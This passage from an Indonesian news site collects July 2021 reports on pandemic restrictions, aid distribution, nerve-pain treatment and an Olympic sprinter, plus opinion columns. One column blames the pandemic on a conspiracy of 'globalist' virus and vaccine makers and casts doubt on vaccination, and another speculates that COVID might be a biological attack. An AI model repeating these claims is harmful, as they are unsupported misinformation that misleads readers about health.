Beberapa ilmuwan telah memperingatkan bahwa rencana pembukaan kembali pemerintah untuk Inggris berbahaya mengingat sejumlah besar orang yang tetap tidak divaksin dan fakta bahwa vaksin tidak 100 persen efektif. (mth)

Perlunya Pemeriksaan Fisik bagi Pasien Saraf Terjepit

Jakarta, FNN - Dokter spesialis bedah saraf Mustaqim Prasetya dari Perhimpunan Dokter Spesialis Bedah Saraf (PERDOSSI), mengatakan, orang dengan gejala nyeri akibat saraf terjepit atau Hernia Nukleus Pulposus (HNP) perlu menjalani pemeriksaan fisik dulu sebelum menjalani prosedur penanganan apapun. Nyeri akibat HNP bila pada bagian lumbal atau pinggang biasanya terasa di satu sisi kemudian menjalar ke bokong, tungkai sesuai daerah saraf yang diatur oleh lokasi saraf yang bersangkutan di tulang belakang. "Setelah dikonfirmasi secara klinis, maka diperlukan pemeriksaan radiologis untuk melihat secara lebih detil tentang keterlibatan struktur di tulang belakang," kata dia dalam sebuah webinar kesehatan, dikutip Minggu. Nyeri juga bisa terasa di leher atau di antara tulang belikat dan biasanya menjalar ke bahu, lengan, hingga jari-jari tangan pada satu sisi. Pasien terkadang merasa kesemutan dan nyeri yang dia alami bisa bertambah berat dengan perubahan posisi. Lebih lanjut untuk menegakkan diagnosis, dokter bisa meminta pasien melakukan sejumlah pemeriksaan lain seperti rontgen untuk melihat ada tidaknya tumor, infeksi fraktur dan lainnya; magnetic resonance imaging (MRI) untuk melihat jaringan sekitar tulang belakang, ada tidaknya pembengkakan, proses degeneratif dan tumor. Tak hanya itu, pemeriksaan seperti myelogram juga bisa disarankan untuk melihat struktur tulang belakang keseluruhan sekaligus laju hantaran saraf untuk mengetahui level saraf yang mengalami penekanan. Setelah mengetahui secara jelas penyakit pasien, dokter bisa membantu mengurangi nyeri mulai dari meminta pasien beristirahat agar menjadi rileks, melakukan koreksi postur misalnya tidak melakukan gerakan yang memicu nyeri, memperbaiki gerakan mengangkat, hingga menghindari mengangkat benda berat dan berusaha tidak menggunakan otot-otot secara berlebihan. Selain itu, dokter juga bisa memberi terapi pada pasien melalui obat penghilang nyeri golongan antiinflamasi non-steroid atau yang sifatnya steroid. "Efek dari fisioterapi semisal dihangatkan, obat-obat untuk relaksan otot karena saat nyeri biasanya ada kompensasi dari otot membantu mengatasi beban pada tulang belakang sehingga otot mengalami spasme," tutur Mustaqim. Penanganan nyeri sekaligus HNP pun bisa diatasi dengan operasi. Biasanya, ada syarat yang harus dipenuhi pasien dan prosedur ini membutuhkan waktu untuk mempersiapkannya. Di sisi lain, tidak semua pasien bisa menjalani operasi. Ada beberapa hal yang menjadi penyebab seperti usia lanjut, kondisi medis pada pasien sehingga menyebabkan toleransi operasi tidak baik seperti pasien dengan penyakit jantung, diabetes, gangguan autoimun. Atasi nyeri saraf terjepit tak harus lewat operasi Atasi nyeri saraf terjepit tak harus lewat operasi Nyeri akibat kondisi saraf terjepit saat ini tak harus diatasi dengan tindakan bedah terbuka, tetapi bisa melalui manajemen intervensi nyeri (IPM) yang minimal invasif (meminimalkan luka sayatan). Dokter spesialis bedah saraf sekaligus Ketua Indonesian Neurosurgical Pain Society (INPS), Wawan Mulyawan mengatakan, tindakan ini bisa dilakukan bila pasien mengalami nyeri luar biasa akibat HNP sudah terjadi berbulan-bulan atau bahkan akut. "Bahkan pada beberapa orang nyerinya luar biasa, diberikan obat tidak hilang atau tidak responsif terhadap pengobatan medik biasa seperti obat, fisioterapi," kata dia. Menurut Wawan, tak hanya mengurangi atau menghilangkan nyeri, IPM juga bisa sekaligus menghilangkan HNP terutama pada pasien yang masih menolak operasi. "Pasien dengan saraf terjepit ringan, nyeri cukup signifikan. Apakah akan dilakukan operasi terbuka? IPM seperti discFX, endoskopi bisa memberikan solusi. Kami bermain di medium effect ini tetapi bisa juga untuk long lasting. Kita lebih pada minimal invasive," tutur Wawan. Saat ini sudah ada beragam tindakan IPM yang sudah dikembangkan di Indonesia seperti kateter Racz, Disc FX, endoskopi tulang belakang, laser hingga radiofrekuensi ablasi (RFA). Kelebihan terapi ini, selain minimal invasif juga tanpa rawat inap, pembiusan lokal, sayatan hanya sekitar 7mm dan pemulihan cepat. Lebih lanjut terkait kateter Racz atau disebut juga dengan neuroplasti epidural yakni menggunakan kateter untuk menghantarkan obat-obatan tertentu langsung ke ruas tulang belakang atau area syaraf yang terjepit untuk menghilangkan nyeri. Dokter spesialis bedah saraf dari Universitas Indonesia sekaligus tergabung dalam Perhimpunan Dokter Spesialis Bedah Saraf, Danu Rolian mengungkapkan, prosedur ini bisa ini dilakukan selama 30 menit untuk indikasi HNP, canal stenosis dan perlengketan pascaoperasi. Studi yang dia dilakukan bersama tim melibatkan 37 pasien HNP dan canal stenosis di Rumah Sakit Angkatan Udara dan dipresentasikan pada tahun 2019 menemukan, nyeri akibat penyakit pasien hilang setelah menjalani tindakan. Selain kateter Racz, prosedur disc FX juga bisa pasien pilih untuk mengatasi HNP dengan mengambil bantalan tlang yang menjepit saraf, memodulasi saraf peka nyeri pada cincin bantalan serta memperbaiki kestabilan inti serta kontinuitas cincin bantalan. Luka sayatan yang dihasilkan dari prosedur ini sekitar 3mm. Dari sisi biaya, menurut Danu yang berpraktik di Klinik Nyeri DR INDRAJANA itu, baik kateter Racz maupun disc FX menawarkan harga yang lebih murah dibandingkan prosedur endoskopi dan operasi terbuka. Namun, sebelum pasien menjalani prosedur tindakan minimal invasif, dia harus terlebih dulu menjalani pengobatan konservatif seperti meminum obat dan fisioterapi. Bila pengobatan ini tak memberikan hasil maksimal, barulah dia bisa beralih ke prosedur minimal invasif. Hal ini demi keselamatan dan keamanannya. (mth)

Globalis vs Nasionalis

Menggapai obat penenang dalam menghadapi kepanikan dari sela sela peristiwa besar untuk mau mendengar dan memanfaatkan kemampuan sendiri. Oleh Sugengwaras Bandung, FNN - Peristiwa besar itu seperti Perang Dunia 1 dan 2, Revolusi Perancis, Perang Timor Tengah, Perang saudara di Amerika, terakhir runtuhnya Twin Tower di Amerika Serikat dan Kini Pandemi Corona Virus Deases 19 ( Covid - 19). Globalis adalah kumpulan dari para konspirator industri Virus dan Vaksin yang menjadi biang kerok yang berlatar belakang prestise, untung dan rugi. Nasionalis adalah mereka para penggila, pemberani, pengkreativitas dan pembangkang yang melawan dan ditakuti dalam menyingkap kegaduhan, histeria massal, kepanikan massal, ketakutan massal, dan stres massal yang mengakibatkan penurunan imunitas massal. Peristiwa besar Covid -19, telah memunculkan pengkajian-pengkajian namun belum melahirkan kesimpulan tentang awal muawalnya dan cara penanggulangannya. Sementara kepanikan, ketakutan dan stres massal telah menghinggapi pikiran manusia baik penguasa maupun rakyat yang di antaranya berwujud pemberian vaksin bahkan mewajibkan, massal, door to door, yang disertai pembatasan, intimidasi, bahkan hukuman dan denda. Sementara masih diperdebatkan oleh beberapa ahli tentang tepat atau kurang tepatnya pemberian vaksin itu dalam melawan virus yang ada. Jika kita cermati, siapa mereka yang panik, takut dan stres ini? Penguasa, rakyat atau semuanya, yang jelas manfaat vaksin perlu dikaji namun paksaannya sudah mendahului. Kepanikan ini bisa kita maklumi karena peristiwa besar pandemi Covid - 19 ini telah memporak porandakan stabilitas politik, ekonomi dan kelangsungan hidup orang banyak. Dari pandangan teori konspirasi bisa ditebak adanya suatu power atau kekuatan yang berambisi ingin menguasai dunia secara defacto. Maka sebaiknya, rezim Jokowi ini janganlah grusa-grusu atau serta merta bertindak, over acting, narsis, mengedepankan paksaan dan kekerasan, tekanan bahkan pemberian sangsi atau resiko yang semakin membuat rakyat nekad dan brutal. Semuanya perlu dinalar dan dipahami, agar tidak menambah beban moril dan fisik masyarakat dalam menghadapi cobaan ini. Kita harus pahami, untuk bekerja dalam bingkai ruang dan waktu, yang bertahap, berkesinambungan, berlanjut, terencana, terukur, terkoordinasi dan terpadu, tentang kemungkinan yang paling mungkin dan paling baik dalam menyikapi pandemi Covid - 19, yang belum pasti kapan berakhir. Niscaya, jika ini kita lakukan, akan terminimalisir, gesekan, singgungan maupun benturan antara pemerintah dengan masyarakat Penulis, Purnawirawan TNI AD.

Waduh BIN Door to Door

By M Rizal Fadillah Bandung, FNN - Bukan tidak mendukung optimalisasi seluruh elemen untuk sukses vaksinasi, akan tetapi menerjunkan anggota Badan Intelijen Negara untuk melakukan operasi "door to door" ke rumah warga untuk vaksinasi rasanya kurang pas. BIN bukan lembaga yang kurang kerjaan untuk berada di depan program vaksinasi. Presiden Jokowi yang telah memerintahkan penyebaran anggota BIN dari rumah ke rumah tersebut harus melakukan evaluasi kembali. "Out of the box" mungkin langkah ini. Akan tetapi BIN adalah badan intelijen bukan lembaga kemasyarakatan atau aparat yang biasa melakukan kegiatan terbuka untuk dikenal masyarakat. Bukan pula badan penanggulangan bencana. Sektor terdepan untuk kegiatan vaksinasi adalah Kemenkes bukan BIN. Kecuali jika dicurigai ada elemen masyarakat yang melakukan serangan teror senjata biologis, maka deteksi BIN mungkin tepat. Kekacauan penanganan pandemi Covid 19 di bawah pemerintahan Jokowi memang terbukti. Koordinator penanganan pandemi Jawa Bali adalah Menko Kemaritiman dan untuk luar Jawa Bali Menko Ekonomi. Mengapa bukan Menko bidang Pembangunan Manusia dan Kebudayaan (PMK) dimana Kemenkes berada di bawah koordinasinya ? Sejak awal dikeluarkan Perppu No 1 tahun 2020 tanda-tanda pengelolaan Covid 19 sudah terlihat bakal kacau. Ada nuansa legitimasi untuk segala hal. Terbukti korupsi besar dana bansos terjadi di Kemensos. Menteri pun menjadi pesakitan hukum. Lalu menggunakan alasan Covid untuk penguatan oligarkhi dan kriminalisasi. BIN yang melakukan "door to door" dalam kaitan vaksinasi tidak sesuai dengan Tupoksi BIN yang diatur dalam Perpres No 90 tahun 2012 tentang BIN. Fungsi utama BIN adalah penyelidikan, pengamanan, dan penggalangan baik di dalam maupun luar negeri. Soal vaksinasi dapat dikerjakan dan oleh pegawai Kemenkes, Dinkes daerah, lembaga swadaya masyarakat, relawan masyarakat, atau organisasi lain yang relevan. Melibatkan BIN sama saja dengan melibatkan Densus 88 untuk vaksinasi. Belum lagi sebagaimana ulasan Majalah Forum Keadilan edisi Juli 2021 dalam konteks lain, akan adanya apa yang disinyalir dengan intelijen hitam. Nah betapa bahayanya jika ada operasi intelijen hitam dalam "door to door" vaksinasi ini. Lepas kendali resmi. Jika dibutuhkan bantuan BIN maka sifatnya tertutup dan bergerak sebagaimana lazimnya kegiatan intelijen. Ataukah ada anggapan kondisi negara ini sudah super darurat dimana instansi yang kompeten dianggap sudah tidak mampu lagi sehingga melakukan langkah luar biasa dengan menurunkan BIN ? Jika ini yang terjadi maka Presiden harus segera mengeluarkan Perppu untuk kemudian menjadi Undang-Undang melalui DPR. Sejak BIN dipimpin Budi Gunawan, maka ada hal yang perlu dievaluasi. BIN yang tertutup dibawa ke ruang terbuka. Secara psikologis tidak bagus melibatkan Intel mendatangi rumah ke rumah. Masyarakat tidak boleh ditakut-takuti. Intelijen adalah kegiatan yang lebih menekankan pada prinsip kerahasiaan, anonimitas, dan operasi klandestin. Bahwa benar Corona virus itu tidak kelihatan, namun penanggulangan bukan dengan operasi klandestin, kecuali jika kita yakin bahwa keberadaan Covid 19 adalah bagian dari serangan senjata biologis yang dikendalikan oleh negara asing yang melibatkan warga kita. BIN kompeten bergerak di depan. Betapa hebat sepenggal motto BIN yang menjadi pengingat untuk evaluasi atas kebijakan "door to door". "Berhasil tidak dipuji, gagal dicaci maki, hilang tak akan dicari, mati tak ada yang mengakui". *) Pemerhati Politik dan Kebangsaan

Korlantas Ajak Masyarakat Batasi Pergerakan di 'Jalur Tikus'

Jakarta, FNN - Korps Lalu Lintas (Korlantas) Polri mengajak peran serta masyarakat, komunitas dan tokoh masyarakat untuk mengurangi mobilitas, karena masih ditemukan pergerakan masyarakat terutama di wilayah pinggiran dengan menggunakan 'jalur tikus'. Hal ini disampaikan oleh Kabag Ops Korlantas Polri Kombes Pol Rudi Antariksawan dalam konferensi pers Pembatasan Aktivitas Masyarakat selama libur Idul Adha 1442 Hijriah bersama Satgas COVID-19 yang disiarkan secara virtual, Sabtu, 17 Juli 2021 malam. "Untuk jalur tol sudah terjadi penurunan pergerakan, namun juga yang masih agak lumayan itu di pinggiran (jalur tikus)," kata Rudi, sebagaimana dikutip dari Kantor Berita Antara. Untuk itu, kata Rudi, perlu potensi-potensi masyarakat seperti RT, RW, tokoh masyarakat, hingga komunitas membantu untuk mengurangi pergerakan masyarakat di masa Pemberlakuan Pembatasan Aktivitas Masyarakat (PPKM) Darurat dengan melakukan penyekatan di jalur-jalur 'tikus'. "Oleh karenanya ini perlu potensi-potensi masyarakat ajak sama-sama RT, RW, tokoh masyarakat, potensi masyarakat, komunitas, benar-benar mengurangi pergerakan," pinta Rudi. Rudi menyebutkan, Korlantas telah menyiapkan langkah-langkah mendukung kebijakan PPKM Darurat guna menekan mobilitas masyarakat. Karena data menunjukkan mobilitas masyarakat berbanding lurus dengan peningkatan kasus aktif COVID-19. Sejak tanggal 3 Juli 2021, Korlantas telah melakukan penyekatan di sejumlah lokasi di wilayah Jawa hingga Bali. Hanya sektor esensial, kritikal dan pergerakan orang yang dikecualikan (orang sakit, ibu hamil, dan meninggal dunia) yang boleh melintas posko penyekatan dengan persyaratan yang telah diatur dalam Surat Edaran Satgas COVID-19 No. 15 Tahun 2021. Upaya tersebut mampu menurunkan mobilitas masyarakat terutama di jalur tol. Korlantas Polri mencatat data dari Jasamarga periode 3-16 Juli 2021, untuk kendaraan yang masuk ke Jakarta mengalami penurunan signifikan yakni sebesar 40 persen. Begitu juga sebaliknya, kendaraan keluar Jakarta, juga turun 40 persen. "Kalau di jalur tol kami laksanakan pemantauan, terus minta data ke Jasamarga, jalur tol sangat signifikan dari tanggal 3-16 Juli itu ada 1,9 juta kendaraan, lalu setelah dievaluasi 1,1 juta mengalami hampir 40 persen penurunan untuk yang masuk Jakarta. Yang keluar Jakarta juga alami penurunan signifikan sama hampir 40 persen," kata Rudi. Sementara itu, mengantisipasi libur Idul Adha 1442 Hijriah yang akan berlangsung di masa PPKM Darurat, kata Rudi, Korlantas menambah jumlah titik penyekatan menjadi 1.038 lokasi terdiri atas jalan tol, non tol dan pelabuhan, mulai dari Lampung-Jawa hingga Bali. Langkah ini dilakukan karena melihat potensi masyarakat ingin mudik dan silaturahami, sehingga perlu ditambah pos-pos penyekatan dua kali lipat, di jalur tol, non tol dan pelabuhan. Dengan demikian, masyarakat yang ingin melakukan perjalan non kepentingan bisa ditahan. "Korlantas telah mendirikan pos-pos penyekatan dengan pola ring satu, ring dua dan tiga, mulai dari tingkat provinsi, kabupaten hingga kecamatan," katanya. Adapun penyekatan jelang Idul Adha, kata Rudi, ditambah pos penyekatan sehingga yang titik penyekatan yang digelar untuk antisipasi libur Idul Adha, sebanyak 1.038 pos penyekatan PPKM Darurat dari Lampung, Jawa dan Bali. "Sebanyak 1.038 posko penyekatan tersebar di jalan tol, non tol, dan pelabuhan," katanya. Rudi menyebutkan, untuk penyekatan-penyekatan di jalur tol sudah mulai sejak tanggal 16 Juli 2021 pukul 00.00 WIB secara serentak. Misalnya penyekatan kendaraan dari arah Jabodetabek menuju Jawa, dimulai dari KM 31. Dipastikan hanya sektor esensial, kritikal dan yang dikecualikan yang boleh melintas. Rudi menambahkan, penuntutan jalur tol ini sudah dipastikan oleh petugas hanya sektor-sektor kritkal, esensial yang dibolehkan, misalnya kendaraan logistik, tenaga kesehatan, kendaraan kesehatan, energi dan semuanya yang punay kepentingan masyarakat tetap bisa melintasi jalur yang disekat. "Sudah dilakukan penempelan stiker pada setiap moda logistik, sehingga tidak perlu dilakukan pemeriksaan, untuk memastikan kendaraan kritikal, esensial bisa diperlancar," tutup Rudi. (MD).

Profil Atlet Olimpiade: Pelari Peraih Wildcard, Alvin Tehupeiory

Jakarta, FNN - Pelari asal Maluku Alvin Tehupeiory menjadi salah satu sprinter yang akan mewakili Indonesia dalam Olimpiade Tokyo setelah ia terpilih tampil melalui jalur wildcard. Alvin dipilih PB PASI untuk mendampingi Lalu Muhammad Zohri, yang telah lebih dulu dinyatakan lolos kualifikasi, untuk mengisi kuota universalitas Olimpiade Tokyo pada nomor 100 meter putri. Kuota universalitas atau juga bisa dibilang jalur bagi atlet yang tidak lolos kualifikasi merupakan salah satu sistem kualifikasi dari federasi olahraga internasional yang mengizinkan komite olimpiade nasional (NOC), yang gagal meloloskan atletnya ke salah satu cabang olahraga Olimpiade, mengajukan satu atlet putra atau putri peringkat tertinggi agar bisa berkesempatan tampil di Tokyo. PB PASI pada awalnya menyiapkan pelari gawang 100 meter putri Emilia Nova untuk mengisi kuota tersebut, mengingat ia lebih berpengalaman dalam pentas internasional, termasuk saat meraih perak Asian Games 2018 dan emas SEA Games 2019. Namun Emilia gagal berangkat ke Tokyo karena cedera punggung yang dideritanya sehingga dipilihlah Alvin untuk mengisi slot tersebut. Alvin dinilai layak mendapat kesempatan itu karena ia merupakan pemegang rekor nasional lari 200 meter dengan waktu 23,76 detik saat berlaga di Kejuaraan Nasional 2019 di Cibinong, Bogor. Dia mematahkan rekor Irene Truitje Joseph yang bertahan sejak 1999 dengan waktu 23,86 detik. Sebagaimana di kutip dari Kantor Berita Antara, pada kejuaraan nasional tersebut, Alvin yang juga merupakan anggota Korps Wanita Angkatan Darat itu meraih medali emas pada nomor 100 meter dengan waktu 11,64 detik, yang merupakan catatan terbaiknya saat ini. Catatan itu hanya terpaut 0,08 detik dari rekor nasional milik Irene Joseph (11,56 detik) yang telah bertahan selama 20 tahun. Sementara pada ajang internasional seperti SEA Games 2019 Filipina, pelari berusia 26 tahun itu belum mampu memberikan hasil terbaik pada lomba 100 meter. Di final, ia finis di posisi ketujuh dengan waktu 11,88 detik. Demikian pula di Asian Games 2018, ia gagal melaju ke babak berikutnya lomba 200 meter karena pada heat kelima, ia hanya menempati peringkat kelima dengan catatan waktu 24,35 detik. Alvin sebetulnya menggeluti beberapa nomor pertandingan atletik. Selain 100 meter, ia juga turun di 200 meter, 400 meter, dan lari gawang 400 meter. Alvin pernah mengawinkan gelar 200 meter dan lari gawang 400 meter pada ajang Jakarta Indonesian Championships 2018 lalu. Pelari kelahiran 5 April 1995 itu juga pernah meraih medali perunggu lari gawang 400 meter di ajang Asian U20 Championships di Taipei, Taiwan pada 2014 silam. Berkaca pada pengalamannya bertanding di kejuaraan internasional, sangat sulit bagi Alvin bisa bersaing dengan para pelari elite dunia di Olimpiade Tokyo. Pasalnya, Alvin akan bersaing dengan pelari-pelari langganan juara dunia yang didominasi pelari Jamaika dan Amerika Serikat, yang memiliki catatan waktu di bawah 11 detik. Sebut saja pelari asal Jamaika sekaligus peraih emas Olimpiade 2008 dan 2012 Shelly-Ann Fraser-Pryce dan Elaine Thompson-Herah yang masing-masing mencatatkan waktu terbaik 10,63 detik dan 10,71 detik. Selain itu, ada juga Shericka Jakson (10,77 detik), pelari AS Sha’Carri Richardson (10,72 detik), dan pelari Inggris Dina Asher-Smith (10,91 detik). Biodata singkat: Nama lengkap: Alvin Tehupeiory Tempat, tanggal lahir, Maluku, 5 April 1995 Daftar prestasi 2019, medali emas 200 meter Kejurnas di Cibinong, Bogor 2019, medali emas 100 meter Kejurnas di Cibinong, Bogor 2018, medali emas 200 meter Jakarta Indonesian Championships 2018, medali emas lari gawang 400 meter Jakarta Indonesia Championships 2014, medali perunggu Asian U20 lari gawang 400 meter. (MD).

Pemkot Denpasar Lewat Kelurahan Serahkan Bantuan Sembako Warga Isoman

Denpasar, FNN - Pemerintah Kota Denpasar melalui Kelurahan Sesetan, Bali melakukan penyaluran bantuan logistik paket sembako bagi warga terpapar positif COVID-19 yang saat ini melakukan isolasi mandiri (isoman). Lurah Sesetan, Bali, Ketut Sri Karyawati di Denpasar, Sabtu, mengatakan penyaluran sembako dilakukan bersama Babinsa, Babhinkamtibmas, satgas kelurahan, dan satgas banjar (dusun) setempat. "Ini salah satu upaya untuk membantu masyarakat yang terdampak COVID-19 dalam memenuhi kebutuhan pangan, khususnya kepada masyarakat sedang melakukan isolasi mandiri di rumah," ujarnya. Sri Karyawati lebih lanjut mengatakan penyerahan bantuan kali ini sebanyak 26 paket sembako kepada warga yang sedang melakukan isolasi mandiri. Adapun paket sembako yang diserahkan berupa kebutuhan pokok sehari-hari seperti beras, minyak goreng, gula, serta bahan-bahan lainnya. "Kami berharap sembako ini agar dapat meringankan beban ekonomi dan dapat memenuhi kebutuhan dapur serta bisa meringankan beban keluarga. Untuk sementara waktu kepada warga yang sedang isoman agar tidak keluar rumah atau pun kontak dengan warga lainnya, sehingga dapat mempercepat memutus penyebaran COVID-19," ucapnya. Ia berharap untuk ke depannya, seluruh masyarakat agar tidak lengah dan selalu waspada dengan tetap menerapkan protokol kesehatan sehingga dapat mempercepat memutus rantai penyebaran virus corona di wilayah Kelurahan Sesetan dan di Kota Denpasar umumnya. "Kami berharap untuk warga yang berada di sekitar lingkungan Kelurahan Sesetan yang sedang melaksanakan isolasi mandiri agar saling membantu dan memotivasi masyarakat agar dapat segera pulih kembali," katanya. (sws)

Polda Jabar Imbau Masyarakat tak Unjuk Rasa Saat PPKM Darurat

Bandung, FNN - Kepolisian Daerah (Polda) Jawa Barat mengimbau masyarakat agar tidak melakukan aksi unjuk rasa di saat masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. Kabidhumas Polda Jawa Barat Kombes Pol Erdi A Chaniago mengatakan PPKM Darurat merupakan strategi pemerintah untuk memutus mata rantai COVID-19 yang kini kian mengkhawatirkan di Tanah Air. "PPKM itu dipersiapkan sama pemerintah untuk menyelesaikan situasi pandemi ini," kata Erdi di Bandung, Jawa Barat, Sabtu. Menurut Erdi keputusan penerapan PPKM Darurat juga telah dipertimbangkan secara matang sesuai dengan kultur masyarakat di Indonesia. "Strategi terkait memutuskan mata rantai pandemi COVID-19 ini, itu kan sudah dengan pertimbangan matang sesuai dengan kultur dan keadaan masyarakat Indonesia," katanya. Adapun saat ini pemerintah menyatakan masa PPKM Darurat diperpanjang hingga akhir Juli 2021. Untuk itu, masyarakat diminta untuk menahan diri agar tidak meningkatkan mobilitas guna memutus rantai COVID-19. Di Bandung sendiri beredar poster di media sosial terkait rencana unjuk rasa terkait PPKM Darurat yang akan dilakukan pada 21-23 Juli 2021. Namun Erdi mengaku belum menerima rincian titik mana saja yang akan diadakan aksi unjuk rasa. Ia pun masih mengecek antisipasi yang akan disiapkan kepolisian. "Nanti saya cek dulu untuk renpamnya (rencana pengamanan)," kata Erdi. (sws)

TNI-PolriSalurkan 2.500 Ton Beras dan 70.000 Paket Sembako

Jakarta, FNN - TNI-Polri menyalurkan bantuan sosial bagi masyarakat terdampak masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat berupa 2.500 ton beras dan 70 ribu paket sembako sesuai instruksi Presiden Joko Widodo. Kapolri Jenderal Pol Listyo Sigit Prabowo dalam kunjungan kerja di Sidoarjo, Jawa Timur, Sabtu, menyebutkan, Presiden Indonesia Joko Widodo (Jokowi) menginstruksikan jajaran TNI-Polri untuk menyalurkan bantuan sosial (bansos) PPKM Darurat kepada masyarakat yang terdampak di seluruh Indonesia. "Bansos yang akan disebar sebanyak 2.500 ton beras dan 70.000 paket sembako," kata Sigit dikutip dari keterangan tertulis Divisi Humas Polri. Sigit memerintahkan kepada seluruh jajarannya untuk segera melakukan penyaluran bansos ke titik-titik masyarakat yang perekonomiannya terdampak pandemi COVID-19. Selain itu, ia juga meminta agar anggota meminimalisir masalah dalam penyaluran bansos di lapangan. "Jadi saya tidak ingin ada informasi di lapangan yang sampaikan di satu wilayah masih terdapat masalah dengan bansos," kata Sigit. Sigit didampingi Panglima TNI Marsekal Hadi Tjahjanto, melepas personel Bhabinkamtibmas dan Babinsa yang mendistribusikan paket sembako dan beras kepada masyarakat di Jawa Timur. "Oleh karena itu hari ini menindaklanjuti perintah Presiden kami dari Polri, menurunkan bansos sebesar kurang lebih 2.500 ton beras dan 70.000 paket sembako. Ini merupakan bagian dari program Bapak Presiden untuk menurunkan bansos di seluruh wilayah yang terdampak," kata mantan Kapolda Banten itu. Selama periode 3-16 Juli 2021 Polda Jawa Timur telah menyalurkan 232 ton beras dari 1.298 ton stok beras yang dimiliki. Sigit pun menekankan, bantuan sosial tersebut harus segera terdistribusi secepatnya. Apabila nantinya stok sudah habis, aparat diminta untuk segera melapor dan berkoordinasi agar mendapatkan kiriman untuk penambahan stok. Percepatan pendistribusian bansos itu, kata Sigit, merupakan upaya pemerintah untuk menyejahterakan masyarakat di tengah pemberlakuan PPKM Darurat. Karena kebijakan itu bertujuan untuk menyelamatkan warga yang terdampak akibat pandemi SARS-COV-2. "Tolong diguyur habiskan stok kalau kurang ajukan lagi nanti akan segera dikirim. Dan Ibu Mensos akan kirimkan ini merupakan bagian upaya pemerintah untuk atasi atau kurangi beban masyarakat yang terdampak," ucap Sigit. Sebagai informasi, Polri telah menyalurkan batuan sosial sebanyak 394.347 paket sembako, 30 ribu ton beras, 790.437 alat kesehatan dan mendirikan 13.119 dapur umum selama periode 2020. Hingga 2 Juli 2021, bantuan sosial yang disalurkan Polri sebanyak 750.780 paket sembako, 3.753 ton beras, 763.079 alkes/APD, dan mendirikan 143.467 dapur umum. Sedangkan, periode ketiga sampai dengan 16 Juli 2021, Polri telah mendistribusikan bantuan sosial kepada masyarakat yang terdampak COVID-19 di 34 wilayah Polda sebanyak 250.797 paket sembako dan 1.418.805 kg atau 1.418 ton beras. Sementara itu, stok beras yang dimiliki Mabes Polri untuk distribusi bantuan sosial di skala nasional sebanyak 50.751,3 ton. Lalu, Polri juga sudah menyiapkan bantuan tambahan yang siap dikirim berupa 150.000 paket sembako di masa PPKM Darurat. (sws)

Panglima: Budayakan Bermasker dan Isolasi Mandiri untuk Lawan COVID-19

Jakarta, FNN - Panglima TNI Marsekal TNI Hadi Tjahjanto mendorong masyarakat di Tanah Air membudayakan penggunaan masker dan menjalani isolasi mandiri sebagai upaya melawan pandemi COVID-19. "Mari kita jadikan menggunakan masker dan isolasi mandiri sebagai budaya untuk melawan musuh yang tidak kelihatan yaitu COVID-19," kata Panglima TNI Hadi Tjahjanto melalui keterangan tertulis yang diterima di Jakarta, Sabtu. Hal tersebut disampaikan Panglima TNI saat meninjau posko PPKM darurat, peninjauan gudang obat dan pelepasan bantuan sembako bagi masyarakat terdampak PPKM darurat di Gedangan Sidoarjo, Jawa Timur. Saat tiba di lokasi, Panglima TNI dan rombongan menerima penjelasan terkait mekanisme penerimaan paket obat bagi yang melaksanakan isolasi mandiri oleh Kepala Puskesmas setempat. Kepada Kepala Puskesmas setempat, Panglima TNI menyampaikan penentuan atau peruntukan paket obat gratis dari pemerintah tersebut ditentukan oleh Kepala Puskesmas. "Ibu yang menentukan dengan melakukan triase mana yang ODG, OTG yang ringan atau berat," ujar dia. Personel Babinsa dan Bhabinkamtibmas bukan tenaga kesehatan sehingga Kepala Puskesmaslah yang menentukan termasuk nanti bila ada pasien baru terpapar COVID-19. Dalam kesempatan tersebut, Panglima TNI menerima penjelasan dari Babinsa Peltu Ismail terkait keadaan warga di Desa Sawotratap, dimana kesembuhan warga setempat meningkat dari 81 orang yang melaksanakan isolasi mandiri, 45 orang dinyatakan sembuh. Saat berkunjung ke Kodim 0816/Sidoarjo, Panglima TNI dan rombongan juga menerima penjelasan dari Bintara penjaga gudang obat Serka Malik Ibrahim dan Serma Sanuri. "Jangan lupa catat obat masuk dan awasi obat keluar serta harus sesuai dengan permintaan," kata dia. Di akhir kunjungannya, Panglima TNI melaksanakan kegiatan pendistribusian 70.000 paket sembako dan obat-obatan untuk masyarakat yang terdampak COVID-19 dan kebijakan PPKM darurat. Dalam rangka perang melawan COVID-19, bangsa Indonesia menerapkan strategi ofensif dan defensif. Strategi ofensif yaitu menyerang musuh yang tidak kelihatan tersebut. Strategi itu adalah tugas tenaga kesehatan di antaranya testing (melakukan tes), tracing (pelacakan) dan treatment (penanganan). Sedangkan strategi defensif bisa dilaksanakan secara perorangan dan kelompok. Secara perorangan yakni dengan menggunakan masker, menjaga jarak fisik, mencuci tangan pakai sabun dan juga vaksinasi. "Oleh sebab itu, apabila strategi defensif dan ofensif dilaksanakan bersama-sama dan secara semesta, Insya Allah kita bisa mengalahkan perang melawan COVID-19," ujarnya. (sws)

Pemerintah Sadari PPKM Darurat Berdampak pada Rakyat Kecil

Jakarta, FNN - Pemerintah menyadari penerapan kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat berdampak pada pendapatan rakyat kecil. Menteri Koordinator bidang Kemaritiman dan Investasi sekaligus Koordinator PPKM Darurat, Luhut Pandjaitan mengatakan PPKM Darurat bukan pilihan mudah bagi pemerintah. "PPKM Darurat bukan pilihan mudah. Di satu sisi harus menghentikan penularan varian Delta. Di sisi lain dampak terhadap ekonomi rakyat kecil cukup besar," kata Luhut dalam konferensi pers virtual di Jakarta, Sabtu. Dia mengatakan ekonomi rakyat kecil terdampak akibat penurunan mobilitas dan aktivitas masyarakat. Selain itu, mal dan pusat perbelanjaan juga harus ditutup, pabrik harus mengurangi jumlah karyawan yang masuk untuk memastikan protokol kesehatan dapat berjalan, serta restoran dan tempat makan hanya boleh melayani pesanan untuk dibawa pulang. "Tentu akan berpengaruh kepada omset usaha atau pendapatan harian pedagang kecil," ujar Luhut. Dia menegaskan bukan kebijakan mudah menyeimbangkan antara faktor kesehatan dan ekonomi, namun pemerintah memutuskan PPKM Darurat perlu diambil untuk menghentikan laju penularan virus COVID-19 varian Delta. Sebagai upaya meringankan beban rakyat yang terdampak, Presiden telah memerintahkan jajaran untuk memberikan tambahan bantuan sosial senilai Rp39,19 triliun untuk masyarakat. (sws)

Pemkot Medan Segera Salurkan Bantuan Warga Terdampak PPKM Darurat

